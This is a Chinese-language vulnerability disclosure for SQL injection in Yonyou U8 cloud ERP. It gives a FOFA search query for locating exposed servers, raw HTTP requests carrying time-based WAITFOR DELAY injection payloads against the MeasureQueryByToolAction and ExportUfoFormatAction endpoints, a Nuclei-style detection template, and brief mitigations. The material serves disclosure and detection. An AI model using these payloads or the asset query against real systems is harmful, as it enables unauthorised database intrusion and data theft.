0x00、声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。
中华人民共和国网络安全法
第二十七条 规定
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
0x01、概述
基本信息:
U8 cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案,全面支持多组织业务协同、营销创新、智能财务、人力服务,构建产业链制造平台,融合用友云服务,实现企业互联网资源连接、共享、协同,赋能中国成长型企业高速发展、云化创新。
漏洞描述:
U8 cloud 多个接口处存在SQL注入漏洞。攻击者可以窃取用户的隐私信息、业务数据等,造成用户信息泄露等网络安全相关问题,更严重的是数据库服务器控制有很大风险被攻击者控制。
0x02、资产测绘
FOFA:app="用友-U8-Cloud"
0x03、漏洞复现
3.1、MeasureQueryByToolAction接口
3.1.1、抓包测试
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:3%27--+ HTTP/1.1
Host: {host}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
3.1.2、sqlmap测试
3.2、ExportUfoFormatAction接口
3.2.1、抓包测试
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.ExportUfoFormatAction&method=&repID=1%27);WAITFOR+DELAY+%270:0:4%27--+ HTTP/1.1
Host: {host}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
3.2.2、sqlmap测试
0x04、检测POC
id: U8_cloud_vuln
info:
name: U8_Cloud_SQL
author: wwwzqzq
severity: high
reference:
description: U8-Cloud接口 存在SQL注入漏洞
metadata:
fofa-query: app="用友-U8-Cloud"
requests:
- raw:
- |
GET /u8cloud/api/file/upload/base64 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
system: -1' or 1='testpoc'--+
- |
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:4%27--+ HTTP/1.1
Host: {{Hostname}}
- |
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.ExportUfoFormatAction&method=&repID=1%27);WAITFOR+DELAY+%270:0:4%27--+ HTTP/1.1
Host: {{Hostname}}
matchers-condition: or
matchers:
- type: word
part: body_1
words:
- "testpoc"
- type: dsl
dsl:
- status_code==200 && duration>=3
0x05、防护措施
1.使用预编译语句,绑定变量
2.输入验证和过滤
3.使用存储过程
4.使用安全函数
5.最小权限原则